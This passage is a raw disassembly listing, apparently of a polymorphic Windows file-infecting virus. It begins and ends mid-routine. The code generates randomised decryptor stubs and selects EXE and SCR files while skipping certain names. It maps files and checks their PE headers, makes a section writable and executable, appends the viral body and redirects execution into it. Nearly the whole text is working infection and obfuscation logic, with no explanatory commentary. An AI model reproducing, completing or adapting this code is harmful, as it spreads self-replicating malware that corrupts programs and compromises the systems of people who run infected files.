sub_4FB392 endp
; ---------------------------------------------------------------------------
loc_4FB3FC: ; CODE XREF: sub_4FBE56+112p
lea edi, [ebp+40343Ch]
test dword ptr [ebp+403431h], 80000000h
jz short loc_4FB411
mov al, 60h
stosb
loc_4FB411: ; CODE XREF: .XPack:004FB40Cj
test dword ptr [ebp+403431h], 1000003h
jz loc_4FB517
; ---------------------------------------------------------------------------
db 0B8h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
call near ptr 0BDD95FD5h
xchg eax, esi
cmp [eax+0], eax
mov al, 0E8h
stosb
stosd
test dword ptr [ebp+403431h], 1000000h
mov dword ptr ss:loc_40399A[ebp], edi
jz short loc_4FB48F
test dword ptr [ebp+403431h], 2000000h
mov eax, 36FF6467h
jnz short loc_4FB45A
mov eax, 2E8B6467h
loc_4FB45A: ; CODE XREF: .XPack:004FB453j
stosd
mov ax, 0
stosw
jz short loc_4FB466
mov al, 5Dh
stosb
loc_4FB466: ; CODE XREF: .XPack:004FB461j
test dword ptr [ebp+403431h], 8000000h
mov eax, 86D8Dh
jnz short loc_4FB48D
test dword ptr [ebp+403431h], 4000000h
mov eax, 8C583h
jz short loc_4FB48D
mov eax, 0F8ED83h
loc_4FB48D: ; CODE XREF: .XPack:004FB475j
; .XPack:004FB486j
stosd
dec edi
loc_4FB48F: ; CODE XREF: .XPack:004FB442j
test dword ptr [ebp+403431h], 3
jz short loc_4FB49F
mov al, 0E9h
stosb
stosd
loc_4FB49F: ; CODE XREF: .XPack:004FB499j
mov eax, [ebp+403996h]
mov ecx, edi
sub ecx, eax
mov [eax-4], ecx
test dword ptr [ebp+403431h], 3
jz short loc_4FB517
mov eax, 36FF6467h
mov [ebp+40399Eh], edi
stosd
mov eax, 64670000h
stosd
mov eax, 2689h
stosd
call sub_4FB392
mov al, 20h
call sub_4FB1AB
jecxz short loc_4FB517
mov ax, 15FFh
stosw
xchg eax, ecx
stosd
mov edx, [ebp+403431h]
not edx
test edx, 3
jnz short loc_4FB50A
call sub_4FB392
mov al, 1Fh
call sub_4FB1AB
mov ax, 15FFh
stosw
xchg eax, ecx
stosd
loc_4FB50A: ; CODE XREF: .XPack:004FB4F4j
mov ecx, edi
mov eax, [ebp+40399Eh]
sub ecx, eax
mov [eax-4], ecx
loc_4FB517: ; CODE XREF: .XPack:004FB41Bj
; .XPack:004FB4B6j ...
test dword ptr [ebp+403431h], 4
jz short loc_4FB535
mov eax, 0C8FEC029h
stosd
mov eax, 474C008h
stosd
mov eax, 67EBF875h
stosd
loc_4FB535: ; CODE XREF: .XPack:004FB521j
test dword ptr [ebp+403431h], 8
jnz short loc_4FB58B
cmp byte ptr [ebp+40342Fh], 0
jz short loc_4FB58B
mov eax, 0C9291829h
or ah, byte ptr ss:loc_40342B[ebp]
shl ah, 3
or ah, byte ptr ss:loc_40342B[ebp]
stosd
mov al, 0B1h
stosb
mov al, [ebp+40342Fh]
stosb
mov al, 40h
or al, byte ptr ss:loc_40342B[ebp]
stosb
mov ax, 0FDE2h
test dword ptr [ebp+403431h], 10h
jz short loc_4FB589
mov al, 49h
stosb
mov ax, 0FC75h
loc_4FB589: ; CODE XREF: .XPack:004FB580j
stosw
loc_4FB58B: ; CODE XREF: .XPack:004FB53Fj
; .XPack:004FB548j
mov al, 0E8h
stosb
xor eax, eax
stosd
mov [ebp+403982h], edi
test dword ptr [ebp+403431h], 20h
jnz short loc_4FB5AC
mov al, 58h
or al, byte ptr ss:loc_403429[ebp]
stosb
loc_4FB5AC: ; CODE XREF: .XPack:004FB5A1j
mov ax, 0C081h
test dword ptr [ebp+403431h], 40h
jz short loc_4FB5BF
add ah, 28h
loc_4FB5BF: ; CODE XREF: .XPack:004FB5BAj
or ah, byte ptr ss:loc_403429[ebp]
stosw
mov dword ptr ss:loc_403986[ebp], edi
stosd
test dword ptr [ebp+403431h], 40000000h
jnz short loc_4FB5E3
mov al, 50h
add al, byte ptr ss:loc_403429[ebp]
stosb
loc_4FB5E3: ; CODE XREF: .XPack:004FB5D8j
test dword ptr [ebp+403431h], 80h
jnz short loc_4FB5FA
mov al, 0B8h
or al, byte ptr ss:loc_40342A[ebp]
stosb
jmp short loc_4FB637
; ---------------------------------------------------------------------------
loc_4FB5FA: ; CODE XREF: .XPack:004FB5EDj
mov ax, 1831h
test dword ptr [ebp+403431h], 100h
jz short loc_4FB60C
mov al, 29h
loc_4FB60C: ; CODE XREF: .XPack:004FB608j
or ah, byte ptr ss:loc_40342A[ebp]
shl ah, 3
or ah, byte ptr ss:loc_40342A[ebp]
stosw
mov ax, 0F081h
test dword ptr [ebp+403431h], 200h
jnz short loc_4FB62F
mov ah, 0C8h
loc_4FB62F: ; CODE XREF: .XPack:004FB62Bj
or ah, byte ptr ss:loc_40342A[ebp]
stosw
loc_4FB637: ; CODE XREF: .XPack:004FB5F8j
mov dword ptr ss:loc_4039A2[ebp], edi
mov eax, 243Ch
stosd
test dword ptr [ebp+403431h], 8
jz short loc_4FB6BB
test dword ptr [ebp+403431h], 400h
jnz short loc_4FB666
mov al, 0B8h
or al, byte ptr ss:loc_40342B[ebp]
stosb
jmp short loc_4FB6B3
; ---------------------------------------------------------------------------
loc_4FB666: ; CODE XREF: .XPack:004FB659j
test dword ptr [ebp+403431h], 800h
jnz short loc_4FB683
mov ax, 0E083h
or ah, byte ptr ss:loc_40342B[ebp]
stosw
xor eax, eax
stosb
jmp short loc_4FB698
; ---------------------------------------------------------------------------
loc_4FB683: ; CODE XREF: .XPack:004FB670j
mov ax, 1829h
or ah, byte ptr ss:loc_40342B[ebp]
shl ah, 3
or ah, byte ptr ss:loc_40342B[ebp]
stosw
loc_4FB698: ; CODE XREF: .XPack:004FB681j
test dword ptr [ebp+403431h], 1000h
mov ax, 0C081h
jz short loc_4FB6AB
add ah, 8
loc_4FB6AB: ; CODE XREF: .XPack:004FB6A6j
or ah, byte ptr ss:loc_40342B[ebp]
stosw
loc_4FB6B3: ; CODE XREF: .XPack:004FB664j
movzx eax, byte ptr [ebp+40342Fh]
stosd
loc_4FB6BB: ; CODE XREF: .XPack:004FB64Dj
test dword ptr [ebp+403431h], 40000000h
jz short loc_4FB6D0
mov al, 50h
add al, byte ptr ss:loc_403429[ebp]
stosb
loc_4FB6D0: ; CODE XREF: .XPack:004FB6C5j
test dword ptr [ebp+403431h], 2000h
mov al, 86h
jnz short loc_4FB6E0
add al, 4
loc_4FB6E0: ; CODE XREF: .XPack:004FB6DCj
lea ecx, [edi-2]
mov ah, byte ptr ss:loc_403429[ebp]
mov [ebp+40398Ah], ecx
stosw
cmp ah, 5
jnz short loc_4FB6FD
mov al, 0
or byte ptr [edi-1], 40h
stosb
loc_4FB6FD: ; CODE XREF: .XPack:004FB6F4j
test dword ptr [ebp+403431h], 4000h
mov ax, 3166h
jnz short loc_4FB70F
mov ah, 29h
loc_4FB70F: ; CODE XREF: .XPack:004FB70Bj
stosw
mov al, 18h
or al, byte ptr ss:loc_40342B[ebp]
shl al, 3
stosb
mov al, 88h
test dword ptr [ebp+403431h], 8000h
jnz short loc_4FB72D
mov al, 86h
loc_4FB72D: ; CODE XREF: .XPack:004FB729j
mov ah, byte ptr ss:loc_403429[ebp]
stosw
cmp ah, 5
jnz short loc_4FB741
mov al, 0
or byte ptr [edi-1], 40h
stosb
loc_4FB741: ; CODE XREF: .XPack:004FB738j
test dword ptr [ebp+403431h], 10000h
jnz short loc_4FB758
mov al, 40h
or al, byte ptr ss:loc_403429[ebp]
stosb
jmp short loc_4FB767
; ---------------------------------------------------------------------------
loc_4FB758: ; CODE XREF: .XPack:004FB74Bj
mov ax, 0C083h
or ah, byte ptr ss:loc_403429[ebp]
stosw
mov al, 1
stosb
loc_4FB767: ; CODE XREF: .XPack:004FB756j
test dword ptr [ebp+403431h], 20000h
jnz short loc_4FB7A2
test dword ptr [ebp+403431h], 40000h
jnz short loc_4FB799
mov al, 0C0h
or al, byte ptr ss:loc_40342B[ebp]
mov ah, [ebp+403430h]
shl eax, 10h
mov ax, 8166h
stosd
mov al, 0
jmp short loc_4FB7A1
; ---------------------------------------------------------------------------
loc_4FB799: ; CODE XREF: .XPack:004FB77Dj
mov al, 40h
or al, byte ptr ss:loc_40342B[ebp]
loc_4FB7A1: ; CODE XREF: .XPack:004FB797j
stosb
loc_4FB7A2: ; CODE XREF: .XPack:004FB771j
test dword ptr [ebp+403431h], 80000h
jnz short loc_4FB7BE
mov ax, 0E883h
or ah, byte ptr ss:loc_40342A[ebp]
stosw
mov al, 1
jmp short loc_4FB7C6
; ---------------------------------------------------------------------------
loc_4FB7BE: ; CODE XREF: .XPack:004FB7ACj
mov al, 48h
or al, byte ptr ss:loc_40342A[ebp]
loc_4FB7C6: ; CODE XREF: .XPack:004FB7BCj
stosb
test dword ptr [ebp+403431h], 100000h
mov cl, 75h
jnz short loc_4FB7FA
mov ax, 0F883h
or ah, byte ptr ss:loc_40342A[ebp]
stosw
xor eax, eax
stosb
sub [ebp+40398Ah], edi
test dword ptr [ebp+403431h], 200000h
jnz short loc_4FB815
mov cl, 77h
jmp short loc_4FB815
; ---------------------------------------------------------------------------
loc_4FB7FA: ; CODE XREF: .XPack:004FB7D3j
mov ax, 1809h
or ah, byte ptr ss:loc_40342A[ebp]
shl ah, 3
or ah, byte ptr ss:loc_40342A[ebp]
stosw
sub [ebp+40398Ah], edi
loc_4FB815: ; CODE XREF: .XPack:004FB7F4j
; .XPack:004FB7F8j
mov al, cl
mov ah, [ebp+40398Ah]
stosw
mov al, 58h
add al, byte ptr ss:loc_403429[ebp]
stosb
test dword ptr [ebp+403431h], 1000003h
jz loc_4FB8BF
mov eax, 268B6467h
mov ecx, [ebp+403431h]
xor ecx, 2000000h
test ecx, 3000000h
jnz short loc_4FB856
mov eax, 2E876467h
loc_4FB856: ; CODE XREF: .XPack:004FB84Fj
stosd
mov eax, 0
stosw
jnz short loc_4FB866
mov ax, 0E58Bh
stosw
loc_4FB866: ; CODE XREF: .XPack:004FB85Ej
mov eax, 68F6764h
stosd
xor eax, eax
stosw
test dword ptr [ebp+403431h], 1000000h
jnz short loc_4FB8BC
test dword ptr [ebp+403431h], 8000000h
jz short loc_4FB8AE
mov ax, 6C8Dh
test dword ptr [ebp+403431h], 2000000h
setnz cl
or ah, cl
stosw
test cl, cl
jnz short loc_4FB8A9
mov ax, 424h
stosw
jmp short loc_4FB8BC
; ---------------------------------------------------------------------------
loc_4FB8A9: ; CODE XREF: .XPack:004FB89Fj
mov al, 8
stosb
jmp short loc_4FB8BC
; ---------------------------------------------------------------------------
loc_4FB8AE: ; CODE XREF: .XPack:004FB886j
mov ax, 5D58h
add al, byte ptr ss:loc_40342B[ebp]
stosw
jmp short loc_4FB8BF
; ---------------------------------------------------------------------------
loc_4FB8BC: ; CODE XREF: .XPack:004FB87Aj
; .XPack:004FB8A7j ...
mov al, 0C9h
stosb
loc_4FB8BF: ; CODE XREF: .XPack:004FB832j
; .XPack:004FB8BAj
test dword ptr [ebp+403431h], 80000000h
jz short loc_4FB8EB
mov al, 7
sub al, byte ptr ss:loc_403429[ebp]
shl eax, 1Ah
or eax, 240889h
add ah, byte ptr ss:loc_403429[ebp]
shl ah, 3
add ah, 4
stosd
mov al, 61h
stosb
loc_4FB8EB: ; CODE XREF: .XPack:004FB8C9j
mov ax, 0E0FFh
or ah, byte ptr ss:loc_403429[ebp]
stosw
test dword ptr [ebp+403431h], 20h
jz short loc_4FB956
test dword ptr [ebp+403431h], 20000000h
jz short loc_4FB91C
loc_4FB90F: ; CODE XREF: .XPack:004FB91Aj
test edi, 3
jz short loc_4FB91C
mov al, 90h
stosb
jmp short loc_4FB90F
; ---------------------------------------------------------------------------
loc_4FB91C: ; CODE XREF: .XPack:004FB90Dj
; .XPack:004FB915j
mov eax, edi
mov ecx, [ebp+403982h]
sub eax, ecx
mov [ecx-4], eax
mov al, 58h
or al, byte ptr ss:loc_403429[ebp]
stosb
test dword ptr [ebp+403431h], 400000h
jz short loc_4FB94A
mov ax, 0C350h
or al, byte ptr ss:loc_403429[ebp]
jmp short loc_4FB954
; ---------------------------------------------------------------------------
loc_4FB94A: ; CODE XREF: .XPack:004FB93Cj
mov ax, 0E0FFh
or ah, byte ptr ss:loc_403429[ebp]
loc_4FB954: ; CODE XREF: .XPack:004FB948j
stosw
loc_4FB956: ; CODE XREF: .XPack:004FB901j
test dword ptr [ebp+403431h], 1000003h
jz short loc_4FB9D5
test dword ptr [ebp+403431h], 20000000h
jz short loc_4FB97B
loc_4FB96E: ; CODE XREF: .XPack:004FB979j
test edi, 3
jz short loc_4FB97B
mov al, 90h
stosb
jmp short loc_4FB96E
; ---------------------------------------------------------------------------
loc_4FB97B: ; CODE XREF: .XPack:004FB96Cj
; .XPack:004FB974j
mov ecx, edi
mov eax, dword ptr ss:loc_40399A[ebp]
sub ecx, eax
mov [eax-4], ecx
xor ecx, ecx
test dword ptr [ebp+403431h], 800000h
jnz short loc_4FB9A4
lea eax, loc_403429[ebp]
loc_4FB99C: ; CODE XREF: .XPack:004FB9A2j
mov cl, [eax]
inc eax
cmp cl, 3
jnb short loc_4FB99C
loc_4FB9A4: ; CODE XREF: .XPack:004FB994j
lea eax, ds:102444h[ecx*8]
shl eax, 8
mov al, 8Bh
stosd
jecxz short loc_4FB9B9
mov ax, 0C031h
stosw
loc_4FB9B9: ; CODE XREF: .XPack:004FB9B1j
mov ax, 808Fh
push 0B8h
add ah, cl
stosw
pop eax
stosd
test ecx, ecx
jnz short loc_4FB9D2
mov ax, 0C031h
stosw
loc_4FB9D2: ; CODE XREF: .XPack:004FB9CAj
mov al, 0C3h
stosb
loc_4FB9D5: ; CODE XREF: .XPack:004FB960j
lea eax, [ebp+40343Ch]
test dword ptr [ebp+403431h], 10000000h
jnz short loc_4FB9ED
push edi
sub edi, eax
pop eax
jmp short loc_4FBA06
; ---------------------------------------------------------------------------
loc_4FB9ED: ; CODE XREF: .XPack:004FB9E5j
mov edx, [ebx+28h]
sub edi, eax
sub edx, eax
mov ecx, dword ptr ss:loc_4039A2[ebp]
add [ebp+403982h], edx
add [ecx], edi
mov eax, [esp+4]
loc_4FBA06: ; CODE XREF: .XPack:004FB9EBj
mov dword ptr ss:loc_40106D[ebp], edi
mov edi, dword ptr ss:loc_403986[ebp]
sub eax, [ebp+403982h]
test dword ptr [ebp+403431h], 40h
jz short loc_4FBA26
neg eax
loc_4FBA26: ; CODE XREF: .XPack:004FBA22j
stosd
retn 4
; =============== S U B R O U T I N E =======================================
sub_4FBA2A proc near ; CODE XREF: sub_4FBE56+2A8p
push esi
push edi
cmp dword ptr [ebp+4039AEh], 0
jz loc_4FBC12
call near ptr loc_4FBA4A+1
dec ebx
inc ebp
push edx
dec esi
inc ebp
dec esp
xor esi, [edx]
db 2Eh
inc esp
dec esp
dec esp
loc_4FBA4A: ; CODE XREF: sub_4FBA2A+Fp
add bh, bh
sub_4FBA2A endp ; sp-analysis failed
xchg eax, ebp
mov ds:85890040h, dh
mov esi, 53004039h
mov ebx, [eax+3Ch]
add ebx, eax
push dword ptr [ebx+28h]
mov eax, [ebx+34h]
call sub_4FB164
mov edx, [ebp+4039A6h]
pop ebx
add eax, [edx+0Ch]
mov [ebp+4039C2h], eax
add eax, [edx+8]
mov [ebp+4039C6h], eax
mov esi, [ebx+28h]
push dword ptr [ebx+80h]
call sub_4FB164
mov edi, [ebp+4039A6h]
push esi
call sub_4FB164
mov edx, [ebp+4039A6h]
mov ecx, [edx+8]
add ecx, [edx+0Ch]
sub ecx, esi
sub ecx, 5
js loc_4FBC12
jz loc_4FBC12
add esi, dword ptr ss:loc_4039AA[ebp]
add esi, [ebp+403972h]
; START OF FUNCTION CHUNK FOR sub_4FBBE3
loc_4FBAC4: ; CODE XREF: sub_4FBBE3+29j
lodsb
cmp al, 0E8h
jnz loc_4FBB6F
lea eax, [esi+4]
sub eax, [ebp+403972h]
add eax, [esi]
push eax
call sub_4FB164
cmp dword ptr [ebp+4039A6h], 0
jnz short loc_4FBAF2
cmp eax, [edi+0Ch]
jnb loc_4FBC0B
jmp short loc_4FBAFE
; ---------------------------------------------------------------------------
loc_4FBAF2: ; CODE XREF: sub_4FBBE3-FEj
cmp [ebp+4039A6h], edx
jnz loc_4FBC0B
loc_4FBAFE: ; CODE XREF: sub_4FBBE3-F3j
add eax, [ebp+403972h]
cmp word ptr [eax], 25FFh
jnz loc_4FBC0B
mov eax, [eax+2]
sub eax, [ebx+34h]
push eax
call sub_4FB164
cmp [ebp+4039A6h], edi
jnz loc_4FBC0B
add eax, dword ptr ss:loc_4039AA[ebp]
add eax, [ebp+403972h]
mov eax, [eax]
sub eax, [edi+0Ch]
jb loc_4FBC0B
cmp eax, [edi+8]
jnb loc_4FBC0B
loc_4FBB47: ; CODE XREF: sub_4FBBE3+22j
add eax, 2
add eax, [edi+14h]
add eax, [ebp+403972h]
push edx
push eax
push dword ptr [ebp+4039BEh]
call dword ptr ss:loc_403548[ebp]
pop edx
test eax, eax
jnz loc_4FBC21
jmp loc_4FBC0B
; ---------------------------------------------------------------------------
loc_4FBB6F: ; CODE XREF: sub_4FBBE3-11Cj
cmp al, 0FFh
jnz loc_4FBC0B
cmp byte ptr [esi], 15h
jnz loc_4FBC0B
mov eax, [esi+1]
sub eax, [ebx+34h]
push eax
call sub_4FB164
cmp [ebp+4039A6h], edi
jnz short loc_4FBC0B
add eax, dword ptr ss:loc_4039AA[ebp]
add eax, [ebp+403972h]
mov dword ptr ss:loc_4039CA[ebp], eax
mov eax, [eax]
cmp eax, [ebp+4039C2h]
jb short loc_4FBBB8
cmp eax, [ebp+4039C6h]
jb short loc_4FBC21
loc_4FBBB8: ; CODE XREF: sub_4FBBE3-35j
cmp eax, 70000000h
jb short loc_4FBBF6
call sub_4FBBE3
lea ecx, [esi-4]
mov eax, ecx
sub eax, [edx]
add eax, [edx+10h]
cmp eax, dword ptr ss:loc_4039CA[ebp]
jnz short locret_4FBBE2
add esp, 10h
push dword ptr [ecx]
pop [esp-0Ch+arg_24]
popa
jmp short loc_4FBBFD
; ---------------------------------------------------------------------------
locret_4FBBE2: ; CODE XREF: sub_4FBBE3-Fj
retn
; END OF FUNCTION CHUNK FOR sub_4FBBE3
; =============== S U B R O U T I N E =======================================
sub_4FBBE3 proc near ; CODE XREF: sub_4FBBE3-24p
var_8 = dword ptr -8
arg_0 = dword ptr 4
arg_24 = dword ptr 28h
; FUNCTION CHUNK AT 004FBAC4 SIZE 0000011F BYTES
pop dword ptr [ebp+403992h]
pusha
mov esi, [ebp+403972h]
call sub_4FB26B
popa
loc_4FBBF6: ; CODE XREF: sub_4FBBE3-26j
test eax, 80000000h
jnz short loc_4FBC0B
loc_4FBBFD: ; CODE XREF: sub_4FBBE3-3j
sub eax, [edi+0Ch]
jb short loc_4FBC0B
cmp eax, [edi+8]
jb loc_4FBB47
loc_4FBC0B: ; CODE XREF: sub_4FBBE3-F9j
; sub_4FBBE3-EBj ...
dec ecx
jnz loc_4FBAC4
loc_4FBC12: ; CODE XREF: sub_4FBA2A+9j
; .XPack:004FBAACj ...
mov edi, [esp-4+arg_0]
and dword ptr [edi+2431h], 7FFFFFFFh
jmp short loc_4FBC5D
; ---------------------------------------------------------------------------
loc_4FBC21: ; CODE XREF: sub_4FBBE3-7Fj
; sub_4FBBE3-2Dj
or dword ptr [edx+24h], 0E0000060h
dec esi
xor eax, eax
mov ecx, [esp+8+var_8]
xchg eax, [ebp+4039AEh]
lea edi, [ecx+2435h]
add eax, [ebp+403972h]
movsw
movsd
dec esi
sub eax, esi
add eax, [edx+14h]
sub eax, [edx+0Ch]
mov byte ptr [esi-5], 0E8h
mov dword ptr [ecx+52h], 5
mov [esi-4], eax
loc_4FBC5D: ; CODE XREF: sub_4FBBE3+3Cj
pop edi
pop esi
retn
sub_4FBBE3 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4FBC60 proc near ; CODE XREF: .XPack:004FBE2Ep
; sub_4FBE56+127p
lea esi, [ebp+40384Eh]
push esi
call dword ptr ss:loc_40357C[ebp]
cmp eax, 0FFFFFFFFh
jz locret_4FBD31
mov dword ptr ss:loc_403952[ebp], eax
push 0
push esi
call dword ptr [ebp+4035B4h]
test eax, eax
jz locret_4FBD31
sub eax, eax
push eax
push eax
push 3
push eax
push 1
push 0C0000000h
push esi
call dword ptr ss:loc_40355C[ebp]
cmp eax, 0FFFFFFFFh
jz loc_4FC1E9
mov [ebp+403956h], eax
lea ecx, [ebp+40395Ah]
lea edx, [ebp+403962h]
push ecx
push edx
push 0
push eax
call dword ptr [ebp+403584h]
cmp eax, 0FFFFFFFFh
jz loc_4FC1DD
push 0
push dword ptr [ebp+403956h]
call dword ptr [ebp+403580h]
cmp eax, 0FFFFFFFFh
jz loc_4FC1DD
mov [ebp+40396Ah], eax
xor ecx, ecx
add eax, ebx
push ecx
push eax
push ecx
push 4
push ecx
push dword ptr [ebp+403956h]
call dword ptr ss:loc_403560[ebp]
test eax, eax
jz loc_4FC1DD
xor ecx, ecx
mov [ebp+40396Eh], eax
push ecx
push ecx
push ecx
push 0F001Fh
push eax
call dword ptr ss:loc_4035A0[ebp]
test eax, eax
jz loc_4FC1B5
mov [ebp+403972h], eax
locret_4FBD31: ; CODE XREF: sub_4FBC60+10j
; sub_4FBC60+27j ...
retn
sub_4FBC60 endp
; =============== S U B R O U T I N E =======================================
sub_4FBD32 proc near ; CODE XREF: sub_4FBE56+117p
; sub_4FBE56+223p
mov eax, 69CDh
mov ecx, [ebx+38h]
test dword ptr [ebp+403431h], 10000000h
jnz short loc_4FBD4C
add eax, dword ptr ss:loc_40106D[ebp]
loc_4FBD4C: ; CODE XREF: sub_4FBD32+12j
xor edx, edx
add eax, ecx
div ecx
mul ecx
mov [ebp+40397Ah], eax
mov eax, 243Bh
mov ecx, [ebx+3Ch]
add eax, dword ptr ss:loc_40106D[ebp]
xor edx, edx
add eax, ecx
div ecx
mul ecx
mov [ebp+403976h], eax
retn
sub_4FBD32 endp
; =============== S U B R O U T I N E =======================================
sub_4FBD77 proc near ; CODE XREF: sub_4FBE56:loc_4FBEA5p
; sub_4FBE56+13Dp
movzx ecx, word ptr [ebx+6]
stc
loc_4FBD7C: ; CODE XREF: sub_4FBD77+23j
jecxz short locret_4FBDB3
lea edx, [ebx+18h]
movzx eax, word ptr [ebx+14h]
add edx, eax
dec ecx
imul eax, ecx, 28h
add edx, eax
cmp dword ptr [edx], 6E69775Fh
stc
jz short locret_4FBDB3
cmp dword ptr [edx+0Ch], 1
jb short loc_4FBD7C
mov ecx, [ebx+3Ch]
mov eax, [edx+14h]
add eax, [edx+10h]
lea eax, [eax+ecx*2-1]
neg ecx
and eax, ecx
cmp eax, [ebp+40396Ah]
locret_4FBDB3: ; CODE XREF: sub_4FBD77:loc_4FBD7Cj
; sub_4FBD77+1Dj ...
retn
sub_4FBD77 endp
; =============== S U B R O U T I N E =======================================
sub_4FBDB4 proc near ; CODE XREF: .XPack:004FBE40p
arg_C = dword ptr 10h
mov edx, [esp+arg_C]
xor eax, eax
pop dword ptr [edx+0B8h]
retn
sub_4FBDB4 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_4FBDC1: ; CODE XREF: .XPack:004FBDE2j
mov ecx, edi
jmp short loc_4FBDD0
; ---------------------------------------------------------------------------
lea edi, [ebp+40384Eh]
cld
loc_4FBDCC: ; CODE XREF: .XPack:004FBDDEj
mov ebx, edi
xor ecx, ecx
loc_4FBDD0: ; CODE XREF: .XPack:004FBDC3j
; .XPack:004FBDE6j
lodsb
cmp al, 61h
jb short loc_4FBDDB
cmp al, 7Ah
ja short loc_4FBDDB
sub al, 20h
loc_4FBDDB: ; CODE XREF: .XPack:004FBDD3j
; .XPack:004FBDD7j
stosb
cmp al, 5Ch
jz short loc_4FBDCC
cmp al, 2Eh
jz short loc_4FBDC1
cmp al, 0
jnz short loc_4FBDD0
jecxz short locret_4FBDB3
mov eax, [ecx]
cmp eax, 455845h
jz short loc_4FBDFE
cmp eax, 524353h
jnz locret_4FBD31
loc_4FBDFE: ; CODE XREF: .XPack:004FBDF1j
mov eax, [ebx]
cmp eax, 434E4957h
jz locret_4FBD31
cmp eax, 4E554357h
jz locret_4FBD31
cmp eax, 32334357h
jz locret_4FBD31
cmp eax, 4F545350h
jz locret_4FBD31
xor ebx, ebx
call sub_4FBC60
jz locret_4FBD31
xor edx, edx
call sub_4FBE56
call sub_4FBDB4
call $+5
pop ebp
sub ebp, offset loc_402F8A
jmp loc_4FC193
; =============== S U B R O U T I N E =======================================
sub_4FBE56 proc near ; CODE XREF: .XPack:004FBE3Bp
var_14 = dword ptr -14h
push dword ptr fs:[edx]
mov esi, [ebp+403972h]
mov fs:[edx], esp
cmp word ptr [esi], 5A4Dh
jnz loc_4FC193
mov ebx, [esi+3Ch]
add ebx, esi
cmp word ptr [ebx], 4550h
jnz loc_4FC193
test dword ptr [ebx+16h], 2000h
jnz loc_4FC193
test byte ptr [ebx+5Ch], 2
mov ecx, [esi+20h]
jz loc_4FC193
jecxz short loc_4FBEA5
cmp ecx, 101h
jbe loc_4FC193
loc_4FBEA5: ; CODE XREF: sub_4FBE56+41j
call sub_4FBD77
jb loc_4FC193
mov ecx, [edx+10h]
add ecx, [edx+0Ch]
mov eax, 10000h
push ecx
call sub_4FA9AF
xor [ebp+40342Fh], dl
mov cl, 20h
xor [ebp+403430h], dh
loc_4FBECF: ; CODE XREF: sub_4FBE56+92j
push 20h
dec cl
pop eax
js short loc_4FBEEA
call sub_4FA9AF
test edx, edx
setz dl
shl edx, cl
xor [ebp+403431h], edx
jmp short loc_4FBECF
; ---------------------------------------------------------------------------
loc_4FBEEA: ; CODE XREF: sub_4FBE56+7Ej
; sub_4FBE56+CDj ...
push 6
pop ecx
loc_4FBEF0: ; CODE XREF: sub_4FBE56+B8j
push 6
pop eax
call sub_4FA9AF
mov al, byte ptr ss:loc_403429[ebp]
xchg al, byte ptr loc_403429[edx+ebp]
mov byte ptr ss:loc_403429[ebp], al
loop loc_4FBEF0
test dword ptr [ebp+403431h], 8
jnz short loc_4FBF25
cmp byte ptr ss:loc_40342B[ebp], 1
jz short loc_4FBEEA
loc_4FBF25: ; CODE XREF: sub_4FBE56+C4j
test dword ptr [ebp+403431h], 1000003h
jz short loc_4FBF4C
cmp byte ptr ss:loc_403429[ebp], 5
jz short loc_4FBEEA
cmp byte ptr ss:loc_40342A[ebp], 5
jz short loc_4FBEEA
cmp byte ptr ss:loc_40342B[ebp], 5
jz short loc_4FBEEA
loc_4FBF4C: ; CODE XREF: sub_4FBE56+D9j
test dword ptr [ebp+403431h], 80000000h
jz short loc_4FBF61
cmp byte ptr ss:loc_403429[ebp], 2
ja short loc_4FBEEA
loc_4FBF61: ; CODE XREF: sub_4FBE56+100j
and dword ptr [ebp+4039AEh], 0
call loc_4FB3FC
call sub_4FBD32
call sub_4FC19C
mov ebx, [ebp+403976h]
call sub_4FBC60
jz loc_4FC193
mov esi, [ebp+403972h]
mov ebx, [esi+3Ch]
add ebx, esi
call sub_4FBD77
jb loc_4FC193
or dword ptr [edx+24h], 0E0000060h
mov edi, esi
push edx
push esi
add edi, [edx+14h]
add edi, [edx+10h]
test dword ptr [ebp+403431h], 10000000h
jnz short loc_4FBFC9
lea esi, [ebp+40343Ch]
mov ecx, dword ptr ss:loc_40106D[ebp]
rep movsb
loc_4FBFC9: ; CODE XREF: sub_4FBE56+163j
push edi
mov ecx, 90Fh
lea esi, sub_401000[ebp]
rep movsd
mov cl, 0
jecxz short loc_4FBFDD
rep movsb
loc_4FBFDD: ; CODE XREF: sub_4FBE56+183j
test dword ptr [ebp+403431h], 10000000h
jz loc_4FC095
push dword ptr [ebx+28h]
call sub_4FB164
mov edx, [ebp+4039A6h]
test edx, edx
jz loc_4FC095
mov esi, [ebp+403972h]
mov ecx, [edx+10h]
or dword ptr [edx+24h], 0E0000060h
sub ecx, [edx+8]
jnb short loc_4FC01A
xor ecx, ecx
loc_4FC01A: ; CODE XREF: sub_4FBE56+1C0j
add esi, [edx+14h]
cmp ecx, dword ptr ss:loc_40106D[ebp]
mov ecx, dword ptr ss:loc_40106D[ebp]
jb short loc_4FC081
mov edi, [esp+14h+var_14]
and dword ptr ss:loc_40106D[ebp], 0
and dword ptr [edi+6Dh], 0
mov edi, [edx+8]
add [edx+8], ecx
add esi, edi
xchg esi, edi
mov eax, dword ptr ss:loc_403986[ebp]
test dword ptr [ebp+403431h], 40h
jz short loc_4FC05A
neg dword ptr [eax]
loc_4FC05A: ; CODE XREF: sub_4FBE56+200j
add esi, [edx+0Ch]
sub [eax], esi
mov [ebp+4039AEh], esi
mov esi, [ebx+28h]
add [eax], esi
test dword ptr [ebp+403431h], 40h
jz short loc_4FC078
neg dword ptr [eax]
loc_4FC078: ; CODE XREF: sub_4FBE56+21Ej
push ecx
call sub_4FBD32
pop ecx
jmp short loc_4FC08D
; ---------------------------------------------------------------------------
loc_4FC081: ; CODE XREF: sub_4FBE56+1D3j
add esi, [ebx+28h]
sub esi, [edx+0Ch]
push ecx
push esi
rep movsb
pop edi
pop ecx
loc_4FC08D: ; CODE XREF: sub_4FBE56+229j
lea esi, [ebp+40343Ch]
rep movsb
loc_4FC095: ; CODE XREF: sub_4FBE56+191j
; sub_4FBE56+1A7j
pop edi
pop esi
rdtsc
xchg eax, edx
lea eax, [edi+1D2h]
cmp dl, [ebp+40342Fh]
jnz short loc_4FC0AE
imul edx, 12345678h
loc_4FC0AE: ; CODE XREF: sub_4FBE56+250j
mov [eax-1], dl
call sub_4FA082
pop edx
mov ecx, [edx+0Ch]
add ecx, [edx+10h]
test dword ptr [ebp+403431h], 10000000h
lea eax, [ecx+6]
jnz short loc_4FC0DF
mov [ebp+4039AEh], ecx
